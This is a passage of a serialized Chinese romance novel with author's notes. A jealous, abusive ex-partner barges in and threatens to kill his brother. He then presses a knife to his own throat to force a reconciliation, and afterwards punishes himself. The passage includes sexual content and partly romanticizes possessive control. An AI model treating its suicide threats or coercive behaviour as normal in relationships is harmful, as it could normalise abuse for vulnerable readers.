甄甄的眼皮动了动,有些不舒服地想要睁开,下一刻却被抱住,耳畔响起贺过岭的声音:“你可以把我当成贺越邱。” 甄甄一愣,两张相似的脸在他脑海中反复闪过,但还不等他想更多,门口突然响起一声剧烈地踹门:“贺过岭!不要脸的狗杂种,你给老子滚出来!” 与此同时,地下车库里。 又是一辆车开进来,却被面前的黑车挡住去路,戴维急得解开安全带就要下车:“谁啊这么没公德心!把车停在路中间!” 方寸行也跟着低声骂了一句,打电话叫物业来处理,接通刚说了两声,突然脑海里闪过什么,心跳一顿,立刻挂断电话下车:“我们快上去,这是贺越邱的车!他已经到了!” 第56章 第 56 章 “我要和你弟弟做。”…… 贺越邱发疯般把门踹得砰砰响, 甄甄坐在客厅里听得都心惊,条件反射般发起抖。 贺过岭安慰道:“你别怕,还有我在。” 甄甄刚要说话, 贺越邱的咆哮就在门外响起:“贺过岭, 你给我出来!否则我直接把这门拆了!” 贺过岭正要起身, 甄甄却拉住他:“我去说。” 从贺过岭的角度往下看, 能够很清楚地看见在藏在那双卷翘睫毛下深深的恐惧, 但即便浑身都在发抖,他还是鼓起勇气,径直走到门边。 贺越邱上次来闹过一通后,方寸行就重新换了一扇安全系数更高的防盗门。甄甄打开可视门铃, 显示出他看了四年无比熟悉的一张脸, 此刻盛满暴怒, 表情扭曲, 浑身都散发着一股可怕的戾气。 看到穿戴整齐的甄甄后,戾气陡然消散,仿佛还是从前那个剑眉星目的贺总, 脸上多出几分劫后余生的欣喜,声音也低了下去。 “甄甄?你来给我开门对吗?我就知道你只是想气一下我, 你看我马上就来了,你满不满意?”贺越邱的眼睛里充满血丝,期盼又渴望地看着屏幕里日夜想念的身影, “我知道你生气了, 有什么话我们坐下来好好说。让我进去好不好?不进去也没关系,我知道你现在还没消气,我可以再等等。” 甄甄自嘲地笑道:“你着急了,慌了, 就知道要坐下来好好说了,我发现你骗我,连夜坐飞机赶回来想跟你好好说的时候,你又做了什么?” 那一晚是横亘在两个人之间的一根刺,谁碰一下都会被扎得鲜血淋漓,贺越邱作为施暴方,更是很怕被重新提起,不由得脸色一白,声音也低下去:“对不起……我那时一听到你说要分手,就失控了,我知道我做了猪狗不如的事,但是我……我真的不想和你分开。你想要我怎么补偿你都可以,唯独这个我接受不了,甄甄,你不能不要我。” “你做的每一件事,都在把我往更远的方向推。从我在医院醒来之后,和你待在一起的每分每秒,都只能感到彻骨的恐惧,再不和你分开,我怕我说不定哪天就死了。” 贺越邱一听到那个字便红了眼眶:“那要怎么办……?甄甄……那我该怎么办?” 甄甄转过身,只留给他一个冷漠的背影:“像你这样的人,一辈子也学不会真正的尊重,也永远不会把我当平等的人对待。你能为我做的最后一件事,就是放手。” “你别走!”贺越邱一看到他迈开步子,心底就生出一阵恐慌,用力拍打着门,企图让他注意到自己,“你要去干什么?贺过岭在里面是不是?你不能和他待在一起,你放我进去!” 眼见甄甄不理自己,贺越邱又要控制不住情绪,此时电梯门正好打开,戴维一看到他,就气得骂道:“你来这里干什么!你还嫌害甄甄害得不够吗?” 贺越邱猛地回头,眼睛里的红血丝结结实实地吓了戴维一跳:“跟你又有什么关系?一个靠着亲戚混饭吃的蠢货,少插手我和甄甄的事。” 戴维气得要死:“你!” 方寸行挡在戴维身前,皱眉道:“贺越邱,你真的越来越疯了,我看该去医院看病的人是你才对。” 贺越邱呵呵冷笑两声:“疯?我是疯了,我没甄甄,早就疯了!” 方寸行拿出手机:“你再不离开这里,我马上就报警,传出去对贺氏的名声也不好听吧?” 贺越邱耍狠道:“我今天要是见不到甄甄,你就是让警察把我枪毙了,我也得死在这!” 话音刚落,门忽然被打开,贺越邱眼神惊喜,方寸行和戴维却脸色难看。 方寸行急道:“你别让他进去!” 然而晚了,门只是刚开了一个缝,贺越邱便直接拿手卡在门框上,丝毫不怕那门真的甩过来把指骨夹断。 门里就是甄甄,只差迈过门槛,他们隔着细细的一线缝隙,贺越邱却已经很满足了。这么久以来他还是第一次离甄甄这么近,仿佛能够听见彼此的心跳声。 贺越邱试图按耐住内心的激动,然而宛如打了胜仗般的笑容早就出卖了他:“我就知道……我就知道你还是舍不得……对不起甄甄,我不该犯浑,你打我骂我,怎么样都可以。” 他沉浸在自以为是的喜悦之中,没注意到甄甄的眼神越来越冷,甚至没有看着他,而是对后面的方寸行和戴维说:“你们先走吧。” 两人都没走,紧跟着贺越邱进来。方寸行扫一眼客厅里含笑宴宴的贺过岭,想到甄甄的目的,心里有些不是滋味。 贺越邱后知后觉气氛的不对劲,尤其是贺过岭,哪怕这么多人在,他也控制不住想把他弄死的冲动。 但下一刻他的注意力就被甄甄吸引了:“你跟我来。” 他立刻眼巴巴地,犹如忠犬般跟上去,视线优越地扫过一屋子人。 然而很快他就笑不出来了。 甄甄又叫了贺过岭。 眼睁睁地看着三个人进了一间房,戴维心里没底,不由自主地看向主心骨表哥:“这……我们也要进去吗?” 方寸行心说你要再进去那就真乱套了,烦躁地捏了捏鼻梁:“甄甄可能有话要跟他们说。我们先在门外等着吧。” 屋里,贺越邱余光扫过身后的贺过岭,阴沉着脸:“不管我们要谈什么,跟他哪来的关系?” 甄甄仍旧是那副冷淡的表情:“你不是堵着门闹,问我怎么才能原谅你吗?现在我就给你这个机会。” 贺越邱眼前一亮,以为甄甄回心转意了,刚要往前走一步,甄甄便指着他说:“你就在这里,不能动。” 贺越邱一愣,有点不知所措地停下,在发现贺过岭完全不受影响,走到甄甄身边时,这种无措渐渐转变成一种恐慌,心跳突突突地很快。 “你、你要做什么?甄甄……” 甄甄的身后就是一张大床,格纹被子叠得整整齐齐,散发着他身上那股淡淡的小雏菊的香味,贺越邱一闻就知道他这些天都住在这里。他已经很久没有闻到过这股令人安心的气味了,有些贪婪地吸入肺里。 甄甄坐在床尾,贺过岭也跟着坐下。 贺越邱的表情已经变得极其可怕,甄甄强迫自己压下恐惧,抬头和他对视,说出这些话时,内心并不平静:“我知道你最讨厌你弟弟,所以我要和他做/爱。你要是接受不了,可以离开。如果你喜欢当受虐狂,那也可以留下。” 片刻间,贺越邱从天堂掉到地狱。 这句话完全超出了他的承受范围,他居然没有发怒,也没有立刻动手,只是用一种阴测测的,看得人后背发凉的眼神,从贺过岭的脸上又扫到甄甄的脸上:“你知道你在说什么吗?” 甄甄压下心底那一阵痛,闭了闭眼睛,每吐出一个字,舌尖就感受到一股苦味:“我知道。我没有哪一刻比现在更清醒,其实我早就应该这么做了,是我一次又一次的软弱和退让,才给了你这么多次折磨我的机会。” 贺过岭勾住他的脖子,轻轻往自己怀里带,无声地安慰着他。 贺越邱看着眼前这一幕,一个和自己长得如此相似却令他厌恶至极的人正同他最爱的人亲密无间,怎么看怎么觉得怪异,他甚至开始怀疑自己看到的是幻觉—— 怎么可能呢? 不可能的。 甄甄不会做出这样的事。 贺越邱到目前为止都还能够控制得住自己的情绪,虽然他心脏跳动的速度早就在甄甄说出那句话时慢了下来,好像被什么重物狠狠地碾压着,带来藏在静水下无法呼吸的闷痛,随着水浪一次又一次地提醒着这具身体:已经快要到极限了。 “你骗我的,对不对?” 贺越邱眼睛发红,声音反而变得轻了,向来高高在上、不可一世的贺总,此刻和无数个试图挽回感情的普通人一样,活该又可怜地向想要离开的爱人剖开自尊。 “你不会这样对我的……甄甄,你真的不爱我了吗?我们分开才三个月,你真的可以说不爱就不爱了吗?” 他的一字一句细听都带着哽咽,甄甄很少见到他像这样弱势的样子。这个男人连企图求他复合时都是那么我行我素,从未在意他的想法,偏偏在这种时候,拿出了最低的姿态。 这只让甄甄觉得又悲哀又可笑。 他复杂地看着贺越邱,心道,原来你不是不会害怕。 他差点就要以为,只有自己才会害怕,才会在这场无望的追逐中束手无策。 但不管贺越邱今天是要发疯,还是装可怜,甄甄早已下定决心,哪怕是用这种不堪的方式,他也要和这个人做一个彻彻底底的了断。 他开始脱自己的衣服。 贺过岭之前一直没说话,他陪着甄甄,轻声道:“我来。” 贺越邱目眦欲裂,雄性的本能迫使他无法冷静,怒吼道:“住手!” 他挥起拳头就要冲上来,甄甄冷冷地看过来一眼,就是这毫无感情的一眼,令他如坠冰窖,那股怒火都冷却了一半。 “就算你今天可以阻止,明天呢,后天呢?每一次你都能及时赶到吗?还是说你希望我和你弟弟一直保持着这种关系?” “那我直接杀了他!”贺越邱痛苦道,“我杀了他!谁敢碰你,我就弄死谁!” “那我也去死。” 轻飘飘的五个字,却如石如山,千斤万斤地压下来,让贺越邱挣脱不得。 他无法想象无论如何都再也叫不醒甄甄的样子,所以他没有办法再往前哪怕一步,痛苦地跪在地上,揪着领口,大口大口地喘气,眼泪坚硬地砸在地板,溅开四分五裂的水花。 原来高大挺拔的一个人,此刻佝偻着弯下腰,剧烈地颤抖着,承受着无法言语的剧痛。 朦胧间,贺越邱抬起头,眼睛在亲自目睹贺过岭吻住甄甄时睁到最大,心脏也停跳了一瞬。只是到这里,他就受不了了,心痛得几乎快要死过去一次,压抑着绝望低吼道:“你放开他!贺过岭!放开!” 被他喊到名字的人充耳未闻,继续深入地亲吻着甄甄,一手解开衬衫扣子,一手细细地摸索着触感微凉的后颈。 有一个人在这里丝毫影响不到他的兴致,甚至多了这份仇恨和痛苦的视线,他浑身的血液都更加热了。 一开始他还能因为从前受过的欺凌,而有一种弟夺兄妻的报复的加倍爽感。但渐渐的,随着尝到的味道越来越多,他开始本能地索取,想要掠夺更多来填补内心缺失的那一块儿。 甄甄紧紧地闭着眼,他根本就不敢看贺越邱,可他的耳朵堵不上,那仿佛濒死野兽一般绝望的嘶吼令他心生惧怕,随着贺过岭逐渐加深的吻,这股嘶吼又渐渐地变成一种让人心碎的哀求。 “不要……甄甄……我求你,我求求你,不要这样对我……” “我求你……求你……” “甄甄……不……” 戴维在门外,听得瞠目结舌。他没想到甄甄把贺越邱放进来是有这个打算——他当然不觉得甄甄哪里做错了,姓贺的自私自利几乎都快把甄甄逼上绝路了,现在也只不过是咎由自取。 只是想到这人刚刚还一副盛气凌人的样子,现在却那么绝望的哀求,戴维总会有一种割裂感。 方寸行一贯喜怒不形于色,戴维看不出他现在心里什么想法,不过在听见里面有“砰砰”砸地的巨响后,他还是推门进去了。 贺越邱沙哑的声音回荡在房间里,掩盖其下渍渍的水声,但真正沉浸其中的却只有一个人。当贺过岭把甄甄放平,帮他褪去上衣时,手指和皮肤的接触让他浑身都打了个颤栗。 “啊啊啊啊啊啊啊啊啊啊——” 贺越邱喊到失声,手指深深地抓着地板,指骨用力得泛起一阵阵青白,发出刺耳尖锐地噪音,十根指甲几乎快要翻起来,从裂开的指缝里渗出根根血丝。 他抬起头,眼里的绝望堆得容不下眼泪,竭尽全力压抑着心底的嫉妒和愤怒,终于在贺过岭精光着上身俯下时再也忍不下去,却被方寸行拦腰抱住。 “你走吧,别再逼自己了。” 贺越邱根本听不进去,发了狂地要冲上去杀了贺过岭,剧烈地挣扎道:“你放开我!!!方寸行!!放开!!我杀了他!!我一定要杀了他!!”—— 作者有话说:写不完了,剩下的明天写 第57章 第 57 章 以死相逼。 贺过岭完全不受影响, 仿佛这房间里就只有他和甄甄两个人。他的视线如有实质般一寸寸扫过这具白皙的身体,所到之处,都被微妙的气流激得微微一颤。 贺过岭附到甄甄耳边, 轻巧地含住耳垂, 喷洒出磁性的气息, 烫得他睫毛微动:“别睁开眼。我的疤痕不好看, 免得吓到你。” 虽然是常年坐办公室的医生, 肌肉量没有贺越邱多,但他裸/露的上半身依旧拥有着优于常人的精壮线条,只是背部和腰腹都布满了层层叠叠形状可怖的肉粉色疤痕,和周围完好的皮肤对比鲜明。 甄甄浑身都在发抖, 闻言紧紧地闭上了眼睛, 安静又听话地躺在那里, 即使感受到那凹凸不平的皮肤纹理时也并未失态躲开, 像一个正完全将自己奉献出来的圣女。 贺过岭从未如现在这般如此深刻地察觉到那种迫不及待的破坏欲,他用唯一完好正常的手指摩挲着身下人细瘦苍白的脸颊,那微弱的若即若离的痒意像极了蚂蚁, 从额头一路爬过高挺精致的鼻尖,形状姣好的嘴唇, 尖瘦清棱的下巴,乃至纤细修长的脖颈、深深凹陷的锁骨…… 以贺过岭医生的角度,他实在挑不出来这张脸的不足, 怎么会有人每一寸都长得这样刚好合适, 漂亮得不像现实里会存在的,又总是这么楚楚可怜,让人控制不住想要更过分的欺负他,弄坏他。 他贪婪地享用着这具身体, 每一次的肌肤相接都让贺越邱的绝望和怒火更上一层楼,布满血丝的眼睛瞪到几乎脱出眼眶:“方寸行!你他妈放开我!!我要杀了他,我要杀了他!!!” 方寸行同样心如刀割,可他没有任何立场阻止即将发生的一切,他甚至很羡慕贺越邱可以发疯,而他做不到,他永远把理智放在第一位。 贺越邱疯狂地挣扎着,向来高高在上的男人早已失去所有的骄傲,劈裂的吼声中甚至带上一丝哭腔:“我求你了方寸行,我求你放开我,你让我杀了他!!” 方寸行冷酷道:“没有人逼你,是你自己不肯放手。” “不放手……我死也不会放手!” 贺越邱眼睛猩红地看向床上相拥的两人,胸腔中同时熊熊燃烧着嫉妒和愤怒两簇大火,几乎要烧干他浑身的血液。痛,他从来没这么痛过,不只是鲜血淋漓变形的手指,心脏更痛,好像被谁狠狠地攥住拉扯,一定要他痛得狼狈才肯罢休。 他该冲过去,一刀把贺过岭捅死,野种的血是烫的还是冷的,喷在甄甄身上会不会吓到他?被吓到之后就不敢再接受其他男人的接近了吧? 贺越邱越想越畅快,从喉咙里挤出嗬嗬的低笑,最后越笑越癫狂,他抽出来那把藏到现在的水果刀,锋利的刀刃闪烁着寒冷的流光,刺得方寸行瞳孔一缩。 “你疯了!别乱来!” 贺过岭余光也发现了贺越邱的不对劲,他把甄甄抱起来,打开成一个能让贺越邱面对面看得清清楚楚的姿势,边亲吻着甄甄的肩头,边挑衅地扬眉道:“哥,你是不是忘记甄甄的话了?认错的话可不是这种态度,怪不得你总是把他越推越远。” 贺越邱挣扎的劲头一松,刀也哐当一声掉在地上,他似是有些茫然地回忆着甄甄跟他说过什么话,想起来后,半哭半笑地颤抖着对甄甄说:“只要我听话,你真的愿意原谅我吗?” 甄甄想要睁开眼,被贺过岭抬手轻轻地捂住,他看不到贺越邱现在什么表情,可除了在医院里提分手时贺越邱哭过之外,在一起这么久,他从来没见贺越邱哭过。 他知道贺越邱是一个多不可一世的人,所以就更清楚自己的要求对于他而言究竟意味着什么,如果不是被逼得没有办法,他从来没想过要用这么难堪的方式来折辱一个曾经真心喜欢过的人。 贺过岭感觉到掌心的湿润,心尖也跟着发涩,安慰地吻着唇下雪白的皮肤。 甄甄控制不住地剧烈发抖,他得到的教育,养成的性格,根本就接受不了一个陌生人的爱抚与亲吻,贺越邱有多痛,他就有多痛。 悲哀和对自我的厌恶也在这一瞬间完全淹没了甄甄,眼泪大滴大滴地从紧闭的眼角溢出来,转瞬就被贺过岭的掌心吸收。他觉得自己怎么这么可悲,连报复贺越邱的方式都是通过践踏自己的尊严,就为了一段失败的恋爱,他就要和贺越邱一样堕落吗? 他为什么会走到这一步,为什么会把人生过成这样? 甄甄的眼泪没有人看见,可他此时此刻爆发出的悲伤却感染了在场的每一个人,明明被摆弄出那么情色的姿势,做着香艳又亲热的事,却没有人会因此热血沸腾。 他太可怜了,可怜得贺过岭停下来亲吻的动作,方寸行也没力气载拦住贺越邱。 而贺越邱早就只剩最后一口气还在,他不能冲上去杀了贺过岭,更不能说服自己眼睁睁地看着甄甄被除了自己以外的人占有,他颓废地半跪在地上,热泪顺着锋利的脸廓砸在刀尖上。 他灰败的眼睛中突然爆发出刺人的亮光,猛地抄起水果刀压在自己的脖子上,带着最后一丝希望,悲恸地看向甄甄:“我去死吧,我死了你就解脱了,再也不用被我纠缠。” 方寸行扑上来要夺刀:“贺越邱!你发什么神经!把刀放下!” 贺越邱猛地站起,毫不留情地把刀尖往肉里刺了一截,立刻便有血珠渗出来:“你别过来!否则我立刻自杀!” 甄甄猛地睁开眼睛,被那猩红的血珠刺到,紧绷的情绪终于在这一刻完全扯断,崩溃道:“够了!……够了。” 贺越邱死而复生般,不可置信地睁大眼,一点一滴地恢复了光亮。 方寸行盯准时机,趁贺越邱松懈,一脚踹在他的膝盖窝,趁他吃痛之际劈手打掉那把水果刀。 贺越邱的左膝盖重重地磕在地板上,发出剧烈地一声,疼得他倒吸一口凉气,却顾不上找方寸行算账,哪怕是膝行也飞快地跪着到了甄甄身边,忍着指尖的剧痛脱下西装包裹住被脱到只剩一件外套的人,又狠狠地推开赤/裸上身的贺过岭,厌恶到恨不能砍掉碰到他肩膀的那只手。 “滚!” 又怕自己嗓门太大吓到甄甄,马上放低了声音,小心翼翼道:“让他走……好不好?甄甄……” 甄甄流干了眼泪,垂下长睫,谁也不看,更没理还在后怕中的贺越邱,只对贺过岭感到很抱歉,内疚道:“对不起,我还是没有办法接受……你先走吧,让我静一静。” 贺过岭慢慢地攥紧了拳头,不过一瞬,又松开,有条不紊地穿上衣服,临走前依旧温柔地安慰甄甄:“没关系的,我说过一切都以你的意愿为主,你说什么时候停就什么时候停。你不要为此感受到任何负担,我只希望你能够因此达成目的。” 甄甄却更加愧疚,连他离开的背影都不敢多看。 方寸行亲眼目睹了这桩闹剧,他觉得自己其实比贺越邱还可笑,见状也默默地离开了房间。 一时间,就只剩下甄甄和贺越邱两个人。 脖子上的伤口和翻起的指甲都还在流血,贺越邱一点都顾不上,他现在满心满眼都只剩下甄甄,差些就痛得停跳的心脏充满了失而复得的喜悦,以从来没有的低姿态,渴望地仰视着为之疯魔的人。 他太高兴了,突然间都不知道该说些什么,又觉得不管说什么都会惹得甄甄厌烦,索性当个哑巴,就只是用眼睛扫过那些雪白肌肤上碍眼的痕迹,嫉妒且极具侵略性地试图用目光抹掉。 甄甄被这份爱和恨都过分极端的情绪淹没,这样的目光,他只在贺越邱的眼睛里看到过,永远都不会善罢甘休,就像潮热午后被雨打湿的T恤,又闷又湿的黏在身上,束手束脚透不过气,却没办法脱下。 他好久才轻声地问:“你现在知道我被你逼到什么份上了吗?” 铡刀迟早都会落下,贺越邱眼里的喜悦冻结,愣在那。 甄甄的目光落在他脖子那条血线上,只差一点儿,那里就会被划开一个巨大的口子,鲜血会喷涌而出,溅满整个房间,甚至是溅到他的脸上。 “你也算被我逼到绝路上了吧?体会到那天晚上我被你强迫时有多痛苦了吗?” 甄甄的目光就像一把刀,一寸寸地凌迟着贺越邱。 他扯动着嘴角,本来是想笑,却只透露出令人心酸的苦涩:“当你被迫看着贺过岭和我亲热时有多心痛多绝望,我当时的心痛和绝望只会比你更多。这滋味不好受吧?应该也和我一样,一辈子都忘不掉,到死都记得。” 贺越邱心头一窒,痛苦地闭上眼,声音颤抖道:“我知道了……我都知道了。对不起,甄甄,我做了无法挽回的错事,这一切都是我一手造成的,是我咎由自取。你不要再这样惩罚自己了好不好?是我的错,你惩罚我,不要再逼自己了。” 甄甄讽刺地笑了一下,眼角逼出泪花:“原来你是可以和我感同身受的。” “贺越邱,你只有眼泪没有骗我。” 到这一刻,贺越邱再多的辩解都显得万般苍白,当他也被逼到绝路上后,他才终于能够看到那个一直在把甄甄往绝路上逼的人,两双眼睛一对上视线,发现就是他自己。 “我错了……” 贺越邱埋下头,双手捂着脸,眼泪浸进翻起的指甲里,烧起噬心的锐痛。 “甄甄,我错了……” 甄甄边哭边笑,看了他好久。 最后他说:“我原谅你了,贺越邱。” “爱和恨都好累,你放我一马吧。”—— 作者有话说:终于写完这个剧情了,现在也可以提一下为什么设置成最后没有真做,在我看来现在插进去了,贺就是痛苦那一哆嗦,后面反而会释怀。他现在的扭曲xp本来就是因为太恐惧甄甄会离开会喜欢别人,所以才一直不停的试探他看他坚定地选择自己,插进去了当下痛彻心扉(没插也会痛彻心扉),之后那种恐惧和忐忑反而落地了,他知道结果定了,甄甄也会离开也会走,但是没关系,重新追回来好好在一起,他也不可能因为甄甄和其他人做过就不追妻了。 但是如果没有插进去,甄甄崩溃的让弟弟走了,贺当下痛苦完突然间失而复得欣喜一下,但最后追到妻后,这反而会成为他一生的梦魇,每个午夜梦回的噩梦里都是假如插进去了会怎么样的假设,一种永远也没有答案的恐惧会一直折磨他。 所以这个情节安排对我来说并不是所谓的是否锁菊,而是对于我来说,当一个人恐惧于某件事时,这件事不确定的结果要比确定的结果更折磨他,这代表他会永远活在这种恐惧里无法释怀,永远也会突然某个瞬间就开始想那天如果真的插进去会怎么样,甄甄到底是真的不会离开他还是假的不会离开他 并且我觉得锁菊这个说法就挺那啥的,好像这本文对贺唯一的报复爽点就是让他弟把甄甄插了,那他恐惧的到底是他弟还是甄甄,搞不好又会被带什么贺只对弟弟破防的邪教节奏,而贺真正会破防的也是他认为全世界唯一不会背叛他不会离开他的甄甄,为了报复他居然找了他最讨厌的人要当面□□,而不是他弟又把他的东西抢了,搞得好像他弟才是主体。我只想让贺在追妻时把重点聚焦在甄甄身上,他在意的永远都是甄甄要离开他而不是谁带甄甄离开。 再说以甄甄的人设,他1是接受不了随便的□□,不能接受无爱打炮。2是他不想因为伤害他的人而放弃自己的底线拿自己的身体报复伤害他的人,他本身是一个高自尊配得感道德感恋爱观都很强的人,如果真为了让一部分读者不骂我,为了让那些只会看个臆想排雷就跑来骂我根本不会看我文的个别人舒服,就安排甄甄去和一个不爱的人做到底,我觉得这比贺摧残他的恋爱观和身体健康是更可怕的事,一个人的精神底线被摧毁那人才是真毁了 假如说我这本设置的是一个不洁攻,或者对受的贞洁有很强烈欲望的攻,或者他总把受送出去的那种火葬场,我就会安排受真的投入他人怀抱,和别人□□,攻独自破防,我也不是没写过不洁受,我想要这么安排情节只是因为我更想从攻受的人设出发,也不想崩掉甄甄的人设 甄甄永远都不会为了报复谁丢掉自己的底线,相似的情节但他做出了和贺不同的选择,这也是他和其他人不一样的地方,他永远都是很善良很勇敢去爱的人。 之前一直不想解释这个情节,因为还没有写到,所以害怕剧透,但是就在排雷里演变成我避重就轻不虐攻,终于憋到可以解释的时候,又被说作话给攻洗白,一下子搞得我一根筋变两头堵了。 我确实不太擅长追妻火葬场,也怕写不好虐攻,加上这段时间各种原因情绪上比较混乱,也影响到了文的质量,这点上很对不起追更的读者宝宝,之后的剧情是贺默默努力追妻,虐心虐身都有,甄甄会慢慢走出阴影,最后在一起he也是因为他人好怕贺真把自己玩死了,所以我一直说这两个人能he纯靠甄甄心地善良 总之就算最后在一起了,这个情节也会一直折磨贺,疑神疑鬼觉得所有靠近甄甄的人都有可能带他出轨之类占有欲吃醋欲整个病态,也是一种报应了() 第58章 第 58 章 贺越邱,你这个畜生。…… 贺越邱保持着单膝跪地的姿势, 仰起头,就这样看着甄甄。 他在哭,他哭起来很好看, 天生下垂的眼尾慢慢地、慢慢地泛起一种画家调不出的水红色, 细密水雾在那颗澄澈到近乎透明的玻璃珠上逐渐织成网, 下睫毛的颤抖从微弱到明显, 那张网最终融化到一起, 眼泪像珍珠一样,一颗接一颗地滚了下来。 贺越邱只觉得身体里某个部位跟着被碾碎了,刺骨地疼起来。 他想替甄甄擦掉眼泪,但刚伸出手, 看到翻折流血的指甲盖, 又飞快地藏在了身后。 血很脏, 不该被弄到甄甄的脸上。 贺越邱第一次没有再多说废话, 安安静静地转身离开了。 每一步,都像赤脚踩在刀尖上,在他的心脏上划开无数道鲜血淋漓的口子。 他无比清楚这一次的主动离开代表着什么, 可他不得不放手。甄甄说得对极了,只有他被逼到绝路的那一刻, 才能切身地体会到他把甄甄逼到了什么程度,逼到再往下一步就是万劫不复的深渊。 ‘你还嫌把他害得不够吗?!’ ‘像你这种人,就应该和你妈一样, 至死都得不到幸福。’ ‘贺越邱, 你真可怜,连唯一能受得了你这种丧门星的人都被你亲自弄没了。’ 无数个声音在贺越邱耳边响起,他也质问着自己,那么善良、那么柔软的一个人, 你怎么就能下得去手,一次又一次地伤害他。 贺越邱,你真是个畜生。 你和你妈一样,天生坏种,拿爱当借口,疯狂地汲取着无辜者的血肉充当养分,但根上就烂透了,最后强求的结果也只能又苦又涩,难以下咽。 你有今天的下场,真的活该。 贺越邱不知道自己是怎么走出方寸行家的,他一路浑浑噩噩地按下电梯,走到地下车库,看到物业带保安围在他撞坏的车周围时,打电话叫了生活秘书来处理。 他现在不想和任何人交流,灵魂在转身离开甄甄时就已经被留下在那里了,现在还残留在这具躯壳里的,不过是强迫他还能支撑下去的本能。 他走出地下车库,京城的秋夜冷风扑面而来,让他血液里的温度瞬间归零。 路上行人稀稀拉拉,没谁注意到一个失魂落魄的男人,贺越邱也同样在这座钢筋水泥的城市里找不到任何归宿感,他是在往家的方向走,却又潜意识里抗拒回到那个冷冰冰的、没有一丝一毫人气的地方。 曾经——曾经是有的。他有一个可爱活泼的爱人,用耐心和爱意一点一滴地把这套空荡荡的房子填满,无论忙到多晚,无论在公司里多烦躁,只要一回家,他就能把爱人拥进怀里,把下巴搁在他的肩膀上,嗅闻着那令自己安心的味道。 他像个游魂一样在这个世界上飘飘荡荡二十多年,才终于有了一个家,但现在,它又没了。 贺越邱走了不知道多久,直到他觉得自己再也坚持不下去,坐在路边的花坛上,捂住脸恸哭。 从那晚之后,他没有一刻不在后悔,也没有哪一刻,比现在更后悔。 如果时间真的可以倒流,他一定要按住当初那个因恶劣欲望,就瞒着甄甄创建账号的手;一定要在甄甄害怕地瑟瑟发抖,哭着说不想拍照的时候就放下相机,把他抱在怀里好好安慰;一定不能再因一己之私,就逼他接触不喜欢的人,用让他感受到痛苦的方式,来验证他对自己的感情究竟坚不坚定;一定要避免那一晚的发生,一定要压抑住心底那头恶劣的野兽,一定…… 贺越邱猛地扇了自己一个耳光,这片刻的冷静让他察觉到自己究竟做下了多少错事,又错得有多离谱,他怎么还有资格去求甄甄的原谅,一次又一次地逼他? 贺越邱忽然觉得自己可憎又可笑,他究竟是怎么了,居然对最爱的人下最狠的手? 他究竟还有什么脸面,再对甄甄说那一句“我爱你”? 他眼睛里还有泪水,却又哈哈大笑起来,直到缺氧猛地咳嗽,激烈地情绪才慢慢归于平静,又只剩下了对自我的厌弃。 贺越邱最终没有回家,助理处理完车祸后开车沿着这条路追了上来,把木头一样的上司拉进车里,看见他这么狼狈的样子也识趣地没敢多说,把他送到了距离最近的医院。 脖子上的伤口实在太骇人了,助理挂了急诊,但医生处理时一看就知道重点伤在贺越邱的十指上,写病例时问怎么伤的,一句自己抠在地板上弄翻的让医生啧啧称奇。 很多病人只是不小心弄翻一个指甲都会疼得冒出冷汗要求打麻药,偏偏他今晚遇到的这个病人伤成这样也一声不吭,真是大千世界无奇不有,都可以拿来研究一下是不是天生比普通人更抗痛了。 贺越邱不是不痛。 尤其是清创的时候,碘伏倒下去,十指连心,他痛得浑身都汗湿了。 可只有这样,他心里才会好受一点儿,才会不至于一想到甄甄,心脏就痛得生不如死。 伤口都被处理完后,贺越邱短暂地住了几天院,他没有让助理把这件事传出去,所以除了助理照顾他之外,没人再来探望过。 他照旧在工作,十指缠着纱布,忍痛处理公务,甚至要比没住院之前更加压榨自己,每天至少工作14个小时,忙到助理送来的饭菜都没时间吃,直到大脑超过负荷不能够再继续处理信息,才倒下“休息”。 第二天睁眼又是工作。 主治医生、护士、助理……知道他有多疯狂的人都轮番上阵劝了好几遍,贺越邱每次嘴上说好,但等人一走,又把自己埋在工作里。 对现在的他来说,只有用繁忙的工作填补心里的空白,他才能不被每时每刻涌上来的悲伤和悔恨淹没。 伤势略有好转之后,贺越邱就办理了出院手续。他回家看到被自己砸得稀巴烂的客厅,心里又后悔,顾不上伤口不能用力,忍着剧痛把甄甄买回来的东西都从一片狼藉里捡出来。 捡到最后,纱布不出意外被血染得猩红,双手都因疼痛而剧烈地颤抖起来,贺越邱却仿佛没看到一样,依旧我行我素地把那些东西都抱到卧室,小心细致地分门别类放进空出一半的衣柜里。 放不下的,比如那些可爱丑萌的抱枕、玩偶,就被他放到了甄甄平时会睡的另一半床上,堆成很高的一个小山。 看着这些毛绒绒的东西,贺越邱露出连起来第一个微笑,他轻轻地躺进去,把一只最像甄甄的小狗玩偶紧紧地抱进怀里,用颤抖的指尖抚摸着小狗的耳朵,又在发现血会沾到上面后心疼又不舍地放开。 他的视线一一扫过这些玩偶,脑海里几乎马上就能浮现出甄甄抱着它们时的样子。 他平时窝在床里拿平板追电视剧短剧综艺,就会拿来那个最大的鲨鱼靠枕。 看电影时要去客厅,喜欢把一堆小的兔子猫狗玩偶堆在周围搭成一个窝,他就躲在玩偶窝里看得津津有味。 还有那些各种花朵形状的坐垫,他拿来垫在客厅的毯子上,坐着拼积木,也经常拉坐在沙发上看财经杂志的男朋友一起来玩刚买的社交平台上很火的双人益智小玩具。 很多时候也会盖着自己织的花束毯子,睡得半梦半醒地等书房里工作的人。 贺越邱的鼻尖都是那股淡淡的小雏菊味道,抱着这些玩偶,沉浸在过往幸福的幻梦里。 回到家,他睡了多日来唯一完整的好觉,但这次之后,他就发现自己又回到了还没遇见甄甄时多梦少眠的状态,常常会睡到一半喊着恋人的名字突然惊醒,心脏砰砰直跳,清醒了都还能感受到梦中的绞痛。 再一摸,脸上早就湿了一片。 越往后,这种状况就越频繁,因为害怕一次又一次梦到甄甄离开自己的场景,贺越邱开始害怕睡觉,无论他白天有多累多忙,晚上躺在床上都不敢合上眼。 现实里已经真的失去过一次,他不愿意,在梦里再无数次地失去他。 实在太想甄甄,想到又控制不住,蠢蠢欲动想要去找他,想知道他现在在做什么的时候,他又恨不得能够马上睡着。 噩梦又怎么样,这样就能够在梦里再见到那个朝思暮想的人。 但很多时候连做噩梦都是贺越邱的一种奢望,他并不是每一次都能梦到甄甄,所以连噩梦他也很珍惜。 第59章 第 59 章 生日礼物 出了家门, 贺越邱再正常不过,他照旧全身心地投入工作,每天家和公司两点一线, 不遇到和甄甄相关的人或事时, 连性格都一以贯之地堪称爽朗大方。 但最近一段时间常和他打交道的秘书等人却战战兢兢, 总觉得有把刀子就悬在自己头上, 只是不知道什么时候会落下来。以前还敢偶尔还敢偷闲放水, 